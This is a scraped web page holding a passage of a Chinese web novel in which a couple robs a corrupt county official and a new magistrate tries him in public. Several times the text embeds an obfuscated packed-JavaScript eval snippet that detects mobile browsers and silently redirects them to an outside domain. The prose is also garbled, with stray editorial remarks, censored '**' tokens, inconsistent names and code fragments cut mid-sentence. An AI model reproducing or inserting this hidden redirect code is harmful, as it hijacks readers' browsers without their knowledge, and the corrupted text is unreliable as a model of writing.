;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15481932|170042||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 出这等事。” 宁芷薇无语地看了他一眼,这人怎么总往那方面想?她正要说什么,突然听到脚步声靠近,连忙拉着秦远霄躲到一旁的假山后。 等脚步声远去,两人才继续向前院潜行。昨夜秦远霄已从庞勇处打听清楚,库房就在主院旁边。 穿过几进院落,果然看到了库房的轮廓。隔壁院子里传来争执声,几个愁眉苦脸的郎中正被管家训斥。 “你们就是宁远有名的大夫,怎么连县丞大人的伤都治不好?”管家声音尖利,“他说了,伤不好你们就别想走!”语句不通顺 一位白胡子老郎中苦着脸道:“管家,这实在强人所难啊。宫内阉人,发达后谁不想恢复完整?可古往今来都无人能做到此事啊。” 其他郎中纷纷附和求情。管家却充耳不闻,喊人来看守他们。 库房外原本有三个家丁把守,此时立刻走了两个过去帮忙。秦远霄眼疾手快,闪身将剩下那个家丁打晕。 两人轻巧地翻窗进入库房。里面整理得井井有条,货架上摆满了各类珍宝、字画、绸缎。角落里还堆着几箱银票。 宁芷薇也不客气,抬手间将所有物品连同架子一起收入界阙。她仔细检查每个角落,确保不会遗漏任何值钱物件。 “走吧。”她低声道。 两人刚跳出窗户,就撞见一个衣着华贵的妇人。她身边的丫鬟立刻尖叫:“夫人,有贼!” 苏夫人也跟着大喊捉贼。宁芷薇眼疾手快,从袖中撒出一把**。三人顿时倒地。 远处传来急促的脚步声,显然是有人听到动静赶来了。秦远霄一把抱起宁芷薇,几个起落便离开了苏宅。 两人没有立即回驿馆,而是在城中转了几圈,确保没有人跟踪后找了个僻静处,闪身进入界阙,擦掉了脸上的妆容换装后,又带着骡车重新出现。 “今天辛苦你了。”她轻声说。 秦远霄握住她的手:“为夫不辛苦。” 宁芷薇笑了笑,跳上骡车。 第七十三章 两人装作若无其事的样子,驾着骡车慢悠悠的朝县衙方向行去。 街道两旁的店铺陆续开门,早市的叫卖声此起彼伏,空气中弥漫着各种食物的香气。 宁芷薇坐在车上,目光扫过街道两旁熙熙攘攘的人群。小贩们吆喝着兜售早点,茶馆里已经坐满了等着看热闹的百姓,就连一些店铺的二楼窗台上都挤满了人。 “这些百姓倒是起得早。”宁芷薇轻声感叹。 秦远霄握着缰绳的手微微收紧,“新任县令上任,自然要来看看。不过...”他顿了顿,“这阵仗,倒像是在等着看什么好戏。” 宁芷薇若有所思地点点头。昨日秦家的事情闹得沸沸扬扬,今日新任县令上任,这些百姓怕是都在等着看,新官究竟会如何处置这桩公案。 骡车在县衙门口停下,周围的人群自动让出一条道来。秦远霄下车后,伸手扶着宁芷薇。他的动作很是自然,却又透着一股说不出的优雅。 “夫人小心。”秦远霄低声提醒。 宁芷薇抬眼,正对上他含着笑意的眸子。她心头一跳,连忙低下头,却发现自己的手还被他握着。 周围传来阵阵窃窃私语。 “这不是秦家大少爷吗?” “听说昨天他和衙门里闹得很不愉快。” “今天新县令上任,他倒是来得早。” “这位夫人看着好生年轻...” 忽然,东边传来一阵骚动,打断了众人的议论。 宁芷薇循声望去,只见一队人马缓缓而来。走在最前面的是一位身着县令官服的年轻男子,面容清俊,举手投足间自有一番威仪。更特别的是,他旁边带着个黄毛碧眼的西洋人正手舞足蹈地说着什么。 “这不是......”宁芷薇眼中闪过一丝诧异,话还未说完,就被秦远霄轻轻捏了捏手。 “蒋承志。”秦远霄压低声音,“没想到他会来宁远。” 两人相视一眼,都从对方眼中看到了惊讶。他们与蒋承志也算是旧识,只是没想到会在这种场合重逢。 宁芷薇注意到蒋承志眉头紧锁,显然对西洋人滔滔不绝的话语一头雾水。那洋人说得兴起,还时不时做些夸张的手势,惹得围观的百姓们指指点点。 就在这时,蒋承志的目光扫过人群,恰好看到了他们二人。他的眼中闪过一丝惊喜,随即露出了然的神色。 出乎意料的是,蒋承志二话不说,径直朝他们走来。 “秦爷和秦夫人,真是巧啊。”蒋承志笑着打招呼,仿佛他们只是在寻常茶馆偶遇。AI用语 宁芷薇暗自思量:本想着私下见面,没想到他倒是光明正大地认下了。这一手,倒是打得妙。 周围的百姓更加热闹了,纷纷猜测着这对夫妻的身份。而那些官差们却是脸色大变,特别是昨日参与刁难秦家的几人,更是吓得不敢抬头。 正说话间,那个老外又贴上来了,用英语向蒋承志求助:“亲爱的大人,我真的很着急,船上的货物...” 看着蒋承志一脸为难,宁芷薇主动用英语问道:“请问您遇到什么困难了吗?” 那洋人顿时眼前一亮,激动地张开双臂就要上前拥抱。秦远霄眼疾手快,一把将宁芷薇护在身后,冷冷地盯着洋人。他的动作看似随意,实则暗含杀机。 “远霄,”宁芷薇轻轻拉了拉他的衣袖,感受到他紧绷的肌肉,“这是西方人表达感激的方式,不过我也不习惯就是了。” 秦远霄虽然听了解释,但还是没给那洋人好脸色看。他的手依旧护在宁芷薇身前,眼神冷峻。 那洋人似乎这才意识到自己的失态,连忙后退两步,用略显生硬的英语自我介绍:“抱歉,我太激动了。我叫威廉,来自大洋彼岸。已经好几天没遇到会说英语的人了。” 经过一番交谈,宁芷薇得知威廉的船 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宁芷薇闻言,立即用流利的英语将这个消息转达给了威廉。她注意到威廉脸上的愁云瞬间散去,取而代之的是欣喜若狂的表情。 “太好了!”威廉激动地站起身,双手不自觉地搓着,“宁芷薇女士,您能否陪我去一趟?我这就想去看看。” 宁芷薇轻轻摇头,语气中带着歉意:“抱歉,今天恐怕不行。”她抬头看了看窗外的天色,日头已经偏西,临近午时。他们此行是为了买药材,五哥的病情一刻也不能耽搁。更何况,今晚的住处还需要仰仗蒋承志帮忙解决。 “明天如何?”她补充道,“我可以陪您去滨村,正好也想看看那边的情况。” 威廉脸上闪过一丝失望,但很快又恢复了笑容。被困在宁远多日,好不容易遇到一个能交流的人,他不想错过这个机会:“那就明天吧,我等着您。” 第七十四章 安顿好威廉,宁芷薇拉着秦远霄一同跟随蒋承志前往县衙。初春的风还带着些许寒意,街道两旁的杨柳却已经抽出了嫩芽,在风中轻轻摇曳。 一路上,她注意到蒋承志的眉头始终紧锁。作为新上任的县令,他对很多事情似乎都充满疑惑。街边的小贩看到官府的人马经过,纷纷低下头,悄悄躲到一旁。 “怎么不见县丞来迎接?”蒋承志突然停下脚步,转身问向带路的官差。按理说,新任县令到任,县丞作为主要官员,理应出来相迎。 那官差的脸上顿时布满汗珠,支支吾吾说不出话来,显然有难言之隐。他的目光不停地在地面上游移,像是在躲避什么。 宁芷薇看着官差为难的样子,想到昨晚的事,正要开口解释。秦远霄却已经抢先说道:“蒋兄弟,苏县丞昨夜被人伤了要害,现正卧榻修养。” “什么?”蒋承志猛地转身,眼中闪过一丝震惊,“这是怎么回事?” 进了书房,几人分主宾落座。茶水很快送上,热气袅袅升起,带着淡淡的茶香。蒋承志这才道出自己来宁远的缘由。 他说起在西荣县的遭遇时,语气中带着无奈和苦涩。那些为民**的事迹被添油加醋地传开,反倒成了他的罪状。一个好官,竟因为一些无知百姓的**而被迫离任。 宁芷薇听着,不禁在心里叹息。她想到东岚,这个连自己手下能臣都保不住的王爷,又如何能成就大业?权力的游戏,最是无情。 “那苏县丞可是为难了你们?”蒋承志突然问道,目光炯炯地看向秦远霄。 秦远霄将昨夜的事娓娓道来。他说到苏县丞如何仗势欺人,如何想要强占民女,又是如何被他们教训。说话时,他的语气平静,但眼中却闪烁着冷意。 听完后,蒋承志猛地一拍桌案,茶杯随之跳动,洒出几滴茶水:“好个苏县丞,竟敢如此欺压百姓!这宁远的官场,看来是该好好整顿了。” “来人!”他沉声喝道。 两名官差快步入内,躬身等候差遣。 “传苏县丞!” 他一声令下,衙役们却面面相觑,支支吾吾道:“大人,苏县丞...他、他不在衙门。” 有衙役低着头,声音颤抖:“今早便说身子不适,在家养病。” “哦?”蒋承志冷笑一声,手指停下了敲击的动作,“本官初来乍到,苏县丞就这般不给面子?” “给你们半个时辰,无论用什么方法,都要把苏县丞给本官带来!”蒋承志一拍惊堂木,震得堂下众人一颤。 几个衙役连忙应声,匆匆跑出衙门。他们的脚步声在空旷的院子里回荡,显得格外急促。 秦远霄握住宁芷薇的手,感受到她手心的冰凉,轻声道:“娘子别担心,有蒋大人在,那苏县丞蹦跶不了多久。” 宁芷薇点点头,心中却在思索着什么。 很快,蒋承志便让人在衙门外张贴告示,说要公审苏县丞。消息如同长了翅膀一般,转眼间传遍了整个县城。 公审当日,苏县丞的夫人周氏站在县衙门前,手中紧攥着一只翠绿通透的玉镯,指节因用力而泛白。 她的目光不住地在衙门口来回扫视,时不时低头看看手中的玉镯,眼神中既有不舍,又带着几分忐忑。 身后的丫鬟小声提醒:“夫人,时辰差不多了。” 周氏轻轻叹了口气,将玉镯放进袖中。这玉镯是她最为珍爱之物,当年在京城花了整整五百两银子买来的,连过年都舍不得戴出来。可今日为了能让新任县令帮忙,她也只能豁出去了。 衙门内传来一阵脚步声,周氏连忙整理了下衣裳。只见几名衙役簇拥着一位身着青衫的年轻男子走了出来,正是新上任的宁远县令蒋承志。 “大人,民妇有冤情要诉。”周氏快步上前,朝着蒋承志福了福身。她的声音刻意压得很低,带着几分哀怨。 蒋承志负手而立,目光淡淡地扫过周氏。阳光下,他的眉目清冷,看不出喜怒。 周氏心中一紧,这位新县令的神情,与往日那些贪婪的官员大不相同。她犹豫了一下,还是使了个眼色,身后的丫鬟立刻会意,悄悄靠近蒋承志。 丫鬟手脚麻利,转眼间就要将 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“放开我!你知道我家夫人是谁吗?”丫鬟还在挣扎。 宁芷薇冷笑一声:“苏县丞夫人又如何?法律面前,人人平等。” 蒋承志捡起地上的玉镯,高举过头:“诸位乡亲,这就是周氏**的证据!” 宁芷薇站在蒋承志身后,看着眼前的闹剧,心中暗自冷笑。堂下的百姓挤作一团,空气中弥漫着不安与愤怒的情绪。 这苏县丞的夫人,还真是不知天高地厚。 宁芷薇看着这一幕,心中暗道:这才只是个开始。苏县丞作恶多端,今日终于要清算了。 她抬头看向天空,一片乌云正缓缓飘过,遮住了刺眼的阳光。这个县城压抑已久的气氛,似乎终于要迎来改变。 围观的百姓顿时炸开了锅。 “总算来了个清官!” “咱们宁远有救了!” “早就看不惯苏家的嚣张气焰了!” 第七十五章 正当蒋承志准备开堂审案时,衙门外突然传来一阵嘈杂声。只见几名家丁抬着一顶软轿匆匆而来,轿中隐约可见一个人影。 “让开让开!苏大人身子不适!”家丁们大声吆喝。 蒋承志眯起眼睛,示意衙役让开一条路。 软轿停在公堂前,帘子一掀,露出苏县丞苍白的脸色。他躺在锦被中,还不忘堆着笑脸:“本官浑身是伤,未能亲迎大人,还望恕罪。” 蒋承志冷眼看去,只见苏里县丞色红润,哪有半分病容?眼底闪过一丝不屑。 “带进公堂!” 苏县丞脸色一变:“大人且慢,下官叔丈乃齐州知府......” 话未说完,蒋承志已经一脚踢翻了软轿。 “放肆!见了本官还敢躺着说话?” 苏县丞重重摔在地上,锦被滑落,露出里面整齐的官服。他疼得龇牙咧嘴,却不敢发作。 蒋承志俯身,在他耳边低语:“你那位叔丈,昨日已经被革职了。朝廷查出他****,私吞赈灾银两,如今正在大牢里等着问斩。” 苏县丞瞪大了眼睛,不敢相信。他支支吾吾道:“大人,下官真的身子不适......” “一炷香内,自己爬进公堂!”蒋承志转身大步而去,“谁敢帮他,重打二十大板!” 苏县丞看着昔日阿谀奉承的衙役们冷眼旁观,只得咬牙往公堂爬去。他的官服在地上蹭得灰扑扑的,哪还有半分体面? 百姓们蜂拥而至,挤满了衙门前的空地。有人哭诉,有人愤怒,更多的人则是沉默地站着,眼中闪烁着期待的光芒。 “大人,我家闺女被苏里正强抢去做妾,最后含恨自尽啊!”一个老汉跪在地上,泪水打湿了他花白的胡须。 “我可怜的女儿,才十六岁啊...”老汉的声音哽咽,“她说宁死也不愿受辱,就...就...” 他说不下去了,只是不停地磕头,额头很快就渗出了血。 “大人,我家的田产被苏县丞强占了去,如今全家都快活不下去了!”又一个农户站出来控诉。 “我家的铺子也被他强行收走了!” “他还让手下的人打断了我儿子的腿!” “大人......” 一声声控诉此起彼伏,道尽了苏县丞的罪行。每一句话都像是一把刀,剖开了这个县城表面的平静,露出下面血淋淋的伤口。 宁芷薇听着这些控诉,心中的怒火越烧越旺。她看向蒋承志,发现他的脸色也越发阴沉。 蒋承志端坐在公堂之上,他的手指有一下没一下地敲击着案桌,发出沉闷的声响。衙门内的空气仿佛凝固了一般,连呼吸都变得小心翼翼。 苏县丞满头大汗的爬进公堂,一抬头,就看见秦远霄夫妇正坐在一旁。 秦远霄面无表情,而他的夫人却带着几分嘲讽的笑意。 苏县丞心中顿时升起一股不祥的预感。他知道,自己这些年在宁远横行霸道,得罪了不少人。如今新县令上任,怕是有人要借机清算旧账了。 衙役们将周氏和丫鬟押了上来,跪在堂下。蒋承志坐在公案后面,目光如炬:“苏氏夫妇,你们可知罪?” 周氏颤声道:“民妇不知犯了何罪......” “还敢狡辩!”蒋承志重重拍案,“本官初到宁远,你就敢**。这些年来,不知收了多少民脂民膏!” 苏县丞连忙辩解:“大人明察,下官一向清廉......” “清廉?”蒋承志冷笑,“那本官且问你,去年的赈灾银两,为何只发了一半?另一半去了何处?” 苏县丞脸色大变:“这......” “还有前年的河工银子,你克扣了多少?” “大人......” “今年春闱,你收了多少举子的银钱?” 苏县丞额头冷汗直冒,说不出话来。 蒋承志一挥手:“来人,将苏县丞府上查抄!” 衙役们轰然应诺,纷纷出动。不多时,就抬来了几口大箱子。打开一看,里面尽是金银珠宝,账本文书。 “这是......”苏里县丞面如土色。 蒋承志翻开账本,冷声道:“三年之内,你竟敛财八万两!难怪宁远百姓叫苦连天!” 周氏见事情败露,索性破罐子破摔:“那又如何?我夫君在宁远当了十年县丞,早就根深蒂固。就算你是新来的县令,也奈何不了我们!” 话音未落,外面又是一阵骚动。只见一队官兵押着几个囚犯走了进来,为首的正是齐州知府。 苏里 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“苏允,你身为宁远县丞,却仗势欺人、鱼肉百姓,实在是枉顾朝廷法度!”蒋承志声音铿锵有力,“今日本官便要为民除害!” 堂下的苏允浑身颤抖,额头抵在地上,不住磕头:“大人饶命!下官知错了!” “知错?”蒋承志冷笑一声,“你这些年在宁远作恶多端,不知害了多少无辜百姓。今日本官且问你,昨日你为何要强行拘押宁姑娘?” 秦远霄眸光微动,目光落在一旁神色淡然的宁芷薇身上。昨日她被苏允陷害,今日却能如此平静地看着对方倒霉,当真有趣。 苏允额头抵地,声音颤抖:“回...回大人的话,是下官一时糊涂...” “糊涂?”蒋承志厉声喝道,“来人!把状纸拿上来!” 很快,一摞厚厚的状纸被呈了上来。蒋承志随手抽出一张:“苏允强占民女张氏之女,致其投井自尽...” 又抽出一张:“苏允勾结地痞,强占郑家祖传药铺,致其家破人亡...” 状纸一张接一张,罪状不绝于耳。堂下跪着的百姓纷纷痛哭失声,诉说着苏允的种种恶行。 第七十六章 秦远霄听得津津有味,眼底闪过一丝玩味。这位新任县令倒是个能干的,上任第一天就雷厉风行地收拾了这个为祸一方的县丞。 不过,她可不会天真地以为,这位县令大人是为了替她和宁芷薇出气。官场之上,哪有这么单纯的事情? 借着惩治贪官的名义,一举收服民心,树立威信。手段高明,不愧是能在短短几年内从七品县尉升到正六品县令的人物。 正想着,就听蒋承志一拍惊堂木:“苏允,你这些罪状,可有异议?” 苏允面如死灰,瘫软在地上:“大人...下官罪该万死...” “知罪就好。”蒋承志冷哼一声,“来人,把他押下去,严加看管。待本官查明所有案情,再行定夺。” 堂下百姓纷纷叩首:“多谢大人为民做主!” 百姓们听闻苏县丞被革职的消息,纷纷在县衙外欢呼雀跃。人群中不时传来此起彼伏的叫好声,有人甚至激动得热泪盈眶。 “青天大老爷威武!”一个满脸皱纹的老者高声呼喊,浑浊的眼中闪烁着激动的泪光。他颤巍巍地跪在地上,双手高举,“老天有眼啊!” “可不是,这苏家作恶多端,早该有这一天了!”旁边一位大娘抹着眼泪附和。 人群中的议论声此起彼伏:“听说苏县丞****,欺压百姓,如今可算是恶有恶报了。” “可不是嘛,我家那口子就被他们敲诈过,如今总算出了这口恶气。” 蒋承志站在县衙大堂内,望着外面沸腾的人群,眉头微皱。他转身对身旁的衙役吩咐道:“传令下去,立即查封苏宅,将苏允夫妇暂押大牢候审。” “是!”衙役领命而去。 不多时,一队官差押着苏允夫妇从后门离开。苏夫人面色惨白,步履蹒跚,苏允则是一脸的不甘与怨毒。 待处理完这些事务,蒋承志回到书房,看向秦远霄和宁芷薇。阳光透过窗棂洒在地上,在他们脚边投下斑驳的影子。 待人都退下后,蒋承志才露出轻松的笑容:“秦大哥,嫂夫人,咱们好好叙叙旧?” 宁芷薇看着蒋承志雷厉风行的样子,心中暗喜。有这样一位刚正不阿的县令在,想必他们在宁远的日子会好过许多。不过,她更关心的是五哥的病情,这才是当务之急。 她的目光不自觉地飘向窗外,阳光依旧明媚,但她的心却沉甸甸的。五哥的病情一天比一天严重,如果再找不到合适的药材...她不敢想象那个后果。 蒋承志似乎察觉到了她的心事,轻声问道:“嫂夫人可是在为令兄的病情担忧?”前后称呼不一致 宁芷薇回过神来,勉强挤出一丝笑容:“是啊,还要劳烦大人帮忙打听一下宁远的药铺。” “这个好说。”蒋承志转向一旁的官差,“去把城中几家大药铺的掌柜都请来,就说本官有要事相询。” 官差领命而去,脚步匆匆。书房内重新恢复了安静,只有窗外传来几声鸟鸣,打破了这份宁静。 宁芷薇看着案上的公文,想到自己还有许多事情要做。找到药材只是第一步,接下来还要处理威廉的事,还要调查宁远的情况...一切都显得那么紧迫。 秦远霄似乎看出了她的焦虑,轻轻拍了拍她的肩膀:“别担心,有我们在。” 这简单的一句话,却让宁芷薇感到莫名的安心。是啊,她并不是一个人在战斗,有这么多人愿意帮助她。 阳光渐渐西斜,给整个书房镀上了一层金色。新的一天即将结束,而他们的故事,才刚刚开始。 “大哥和大嫂,”他轻咳一声,正色道,“我给你们另寻一处安身之所如何?” 宁芷薇下意识地望向秦远霄,两人目光交汇。她的手指无意识地摩挲着衣袖,脑海中浮现出东麓村的景象。那里有一条宽阔的河流,水源 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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一声洪亮的铜锣声响彻东麓村的上空,惊起几只栖息的麻雀。原本还在村口闲聊的村民们闻声纷纷躲回院中,只从门缝里偷偷张望。 第七十七章 苏家的人却早已得到消息,此时簇拥着苏里正站在村口迎接。看到一行人临近,苏里正带头连忙跪地。 “小的见过大老爷!”他的声音略显颤抖。 然而蒋承志连个眼神都没给他们,径直朝村后走去。苏里正偷眼一瞧,见那两个秦家人竟与县令并肩而行,还有说有笑的样子,顿时冷汗直冒。 杨家吴家的人虽不敢出门,却都趴在墙头偷看这番热闹。夕阳的余晖中,能看到一个个探头探脑的身影。 “那不是前几天来的秦家人吗?”有人小声嘀咕。 “嘘,小声点,看样子他们是有来头的。” 蒋承志带着一行人来到村后的一片空地,这里视野开阔,远处是连绵的青山,近处有一条清澈的小河蜿蜒流过。 “这里如何?”他转身问道。 宁芷薇环顾四周,心中已有了主意。这片地势平坦,土质肥沃,最适合开垦果园。而且靠近水源,灌溉方便。她正要开口,突然看到秦远霄的目光投向不远处的一片竹林。 那片竹林郁郁葱葱,随风摇曳,发出沙沙的响声。在夕阳的映照下,竹叶泛着金色的光芒。 “就这里吧。”秦远霄开口道,“竹林可以遮挡西晒,而且竹子能做很多东西。” 宁芷薇点点头,她知道秦远霄喜欢清静,竹林确实是个不错的选择。而且这里距离村子既不会太远,又保持着适当的距离。 蒋承志满意地笑了:“好,我这就让人帮你们丈量土地,明日就可以开始动工。” 夕阳西下,余晖染红了半边天。一行人踏着暮色返回,留下村民们议论纷纷。没人知道,这片宁静的土地即将迎来怎样的变化。 宁芷薇站在村口,看着县令大人与秦远霄谈笑风生的模样,心中不禁松了一口气。夕阳的余晖洒在两人身上,为这场谈话镀上了一层温和的色调。 她能感受到墙头上那些村民投来的目光,想来是因为白天拒绝租院子的事情而忐忑不安。有人低声议论,有人欲言又止,更有人神色复杂地打量着这边的情况。凉风拂过,带来几声压低的交谈声。 “这位县太爷怎么亲自来了?” “莫不是出什么事了?” “该不会是因为那院子的事......” 宁芷薇抿了抿唇,装作没听见这些窃窃私语。她的目光落在不远处的破旧房屋上,那里曾经是他们的家。砖墙上爬满了青苔,木门半掩着,岁月的痕迹清晰可见。 “九嫂!”一声清脆的呼唤打断了她的思绪。 循声望去,只见一个黑白相间的小团子正朝这边飞奔而来,后面还跟着追赶的秦雨澜。墨圆儿的四只小爪子在地上飞快地移动,带起一串尘土。 “墨圆儿,慢点!”秦雨澜提着裙摆,小跑着追赶,“你这调皮鬼,又要往九嫂那儿跑!” 墨圆儿像是认准了主人般,一头扎进宁芷薇的怀里,蹭得她衣襟上沾满了**。温热的小身子在她怀中拱来拱去,发出满足的呼噜声。 “墨圆儿,你这孩子......”宁芷薇宠溺地摸了摸它的脑袋,指尖轻轻梳理着它略显凌乱的毛发。 就在这时,一声惊呼划破了傍晚的宁静。 秦雨澜因为追得太急,被路边突起的石头绊住了脚步,整个人向前扑去。她的裙摆在空中划出一道弧线,面容因惊慌而失色。 宁芷薇心头一紧,下意识地想要冲过去。然而还未等她迈开步子,一道身影已经闪电般掠过,稳稳接住了即将摔倒的秦雨澜。 “小心。”蒋承志的声音温和而沉稳,带着几分关切,“姑娘没事吧?” 秦雨澜回过神来,发现自己正被一个陌生男子扶着,顿时红了脸,火速往后撤退数步。她低着头,手指不自觉地绞着衣角,耳根泛起一抹红晕。 “雨澜!”秦远霄快步走来,关切地问道,“没事吧?” “九哥,我没事。”秦雨澜低着头,声音细若蚊蝇,“多亏这位大人相救。” 蒋承志看着眼前的小姑娘,不禁莞尔。这位秦家小姐倒是与那些矫揉造作的闺秀不同,举手投足间透着几分天真烂漫。他正要说话,却见秦远霄已经走到了妹妹身边。 “多谢蒋大人。”秦远霄拱手道谢,眼中带着真诚的感激。 蒋承志摆摆手:“举手之劳而已,秦兄不必客气。”与 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15481937|170042||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 前文姓名不一致 一行人说说笑笑,向山脚下走去。夕阳的余晖渐渐消散,暮色开始笼罩大地。远处的山峦渐渐模糊,只剩下一个朦胧的轮廓。 简陋的营地里,几个临时搭建的灶台冒着炊烟。饭菜的香气在空气中飘散,混合着草木的清香,让人不由得食指大动。 当看到那些破败不堪的房屋时,蒋承志的脸色沉了下来。屋顶有几处漏洞,墙壁上的裂缝触目惊心,就连门窗也摇摇欲坠。 “秦大哥,这样的地方怎么能住人?不如先去县衙......” “无妨。”秦远霄打断了他的话,语气坚定,“来年开春整修一番就好。这里毕竟是我们的家。” 宁芷薇看着眼前的景象,心中却有一种说不出的安定。也许是因为终于找到了五哥,也许是因为一家人终于团聚。破旧的房屋虽然简陋,却承载着太多回忆。 她望向不远处正在煮药的秦雪松,攥紧了手中的解药。药香飘散在空气中,带着一丝苦涩。她知道,这苦涩之后,必定会迎来甘甜。 蒋承志见劝说无果,只得叫来衙役了解情况。柳青山快步走来,恭敬地行了一礼。 “大人,这些都是村民的老宅。”柳青山详细解释道,“因为常有蛮夷骚扰,村民们才不得不搬到村中央去了。这里地势较低,又靠近山林,确实不**全。” “蛮夷......”蒋承志皱眉,眼中闪过一丝忧虑。 秦远霄却笑道:“蒋兄弟放心,有我们在,蛮夷掀不起什么风浪。再说了,这里虽然简陋,却是我们长大的地方。” 夜色渐深,营地里的火光映照着每个人的脸庞。宁芷薇看着忙碌的众人,心中涌起一股暖流。即便是破旧的房屋,即便是荒凉的山脚,只要一家人在一起,哪里都是家。 墨圆儿在她脚边打了个滚,发出愉快的叫声。秦雨澜坐在一旁,小声地和它说着话。秦雪松专注地煎着药,时不时添些柴火。秦远霄和蒋承志站在一旁,低声商议着什么。 营地里的火光映照在每个人脸上,将这个简陋的临时住所照得温暖而明亮。宁芷薇深吸一口气,感受着这份来之不易的平静。 第七十八章 远处传来几声犬吠,打破了夜的寂静。有人提着灯笼走过,光影在地上摇曳。夜风轻轻吹拂,带来远处的虫鸣声。 这一刻,所有的担忧和不安似乎都变得不那么重要了。因为她知道,只要一家人在一起,就没有什么困难是过不去的。 蒋承志的话音刚落,秦远霄的目光缓缓扫过庞勇等人。这些人虽算不上江湖一流高手,但胜在忠心耿耿,多年来出生入死,早已建立起生死与共的默契。他们的眼神坚定,无声地传递着不离不弃的决心。 “蒋兄,你的好意我心领了。”秦远霄嘴角微扬,语气温和却不容置疑。阳光透过窗棂斜斜洒在他的侧脸,为他清俊的面容镀上一层淡金色的光晕。 蒋承志望着这位多年的好友,喉头微动,似乎还想再劝,但最终只是无奈地摇了摇头。他太了解秦远霄的性格,一旦决定的事,十头牛都拉不回来。 夕阳渐渐西沉,暮色四合。宁芷薇站在廊下,看着天边最后一抹霞光,心中愈发焦急。她朝秦远霄使了个眼色,眸中闪过一丝担忧。 秦远霄会意,伸手拉过秦雪松:“八哥,你先陪着蒋兄聊聊,我和薇薇有要事找五哥商议。”他的声音不疾不徐,却透着一股不容拒绝的意味。 八哥深谙其中轻重,立即颔首:“去吧,这里有我招待蒋兄。”他转身招呼蒋承志,将注意力巧妙地转移开。 宁芷薇跟在秦远霄身后,快步向东厢房走去。夜风拂过她的衣袂,带来一丝凉意,却浇不灭她心中的焦虑。每耽搁一刻,五哥便要多受一分煎熬。 推开房门,屋内的景象令两人心头一紧。五哥面色发青,豆大的汗珠顺着额角滑落,显然毒性已经开始发作。他正挣扎着要去拿铁链锁住自己,生怕伤及无辜。 “五哥不必如此。”秦远霄快步上前拦住他,“薇薇已经配好了解药。” 宁芷薇趁着袖口遮掩,从界阙取出一枚黑色药丸。她的手微微发抖,这解药凝聚了她多日心血,若是无效,后果不堪设想。她强迫自己平静下来,却依然能感受到胸腔中剧烈的心跳。 秦远霄接过药丸,小心翼翼地递给五哥:“五哥,快服下。” 五哥也不多问,仰头将药丸吞下。药片瞬间溶解,他紧绷的面容稍稍放松,体内那股令人发狂的躁动似乎得到了些许缓解。 然而,片刻之后,一股灼热的气流突然从小腹涌起,如同岩浆般迅速蔓延至全身。他的手脚开始发胀,皮肤泛起诡异的黑红色,仿佛被烈火炙烤。 “啊!”五哥闷哼一声,双腿一软,重重跌坐在床上。他的额头布满冷汗,指节因用力而发白。 宁芷薇紧张地观察着他的反应,见他手脚血管开始凸起,立即从界阙取出银针。她的动作干净利落,丝毫不见平日的温柔。 “远霄,按住五哥!”她一边说着,一边迅速在五哥左手血管上扎了一针。 黑血如泉涌出,溅了宁芷薇一身。腥臭的气味弥漫在空气中,她根本来不及处理,又迅速在右手扎针。每一针都精准地找到穴位,分毫不差。 秦远霄见状,立即帮忙脱去五哥鞋袜。虽然男女有别,但眼下救人要紧,容不得半点犹豫。 “五哥,忍着点。”宁芷薇咬着牙,手法娴熟地在他双脚血管上各扎一针。她的额头渗出细密的汗珠,眼神却异常专注。 黑血源源不断流出,渐渐转为鲜红色。宁芷薇暗暗松了口气,这是毒素排尽的征兆。她的肩膀微微放松,紧绷的神经终于得到些许缓解。 “薇薇,五哥没事了吧?”秦远霄担忧地问。他的声音里带着一丝不易察觉的颤抖。 “嗯,毒已解,只是失血过多,需要好好调养。”宁芷薇把了把脉,确认无碍。她的指尖还残留着五哥皮肤的温度,已经不再滚烫。 五哥虚弱地笑道:“多亏九弟妹,等我好了,定 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15481938|170042||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 要报答。”他的声音虽然微弱,但眼神已经恢复了清明。 秦远霄唤来庞勇等人照看五哥,这才拉着宁芷薇离开。夜色已深,月光如水般倾泻而下,为两人的身影镀上一层柔和的银辉。 宁芷薇将界阙里玩耍的墨圆儿唤出。小家伙突然换了环境,感觉略微不舒服,嗯嗯直叫。它圆溜溜的眼睛好奇地打量四周,毛茸茸的尾巴不安地摇晃着。 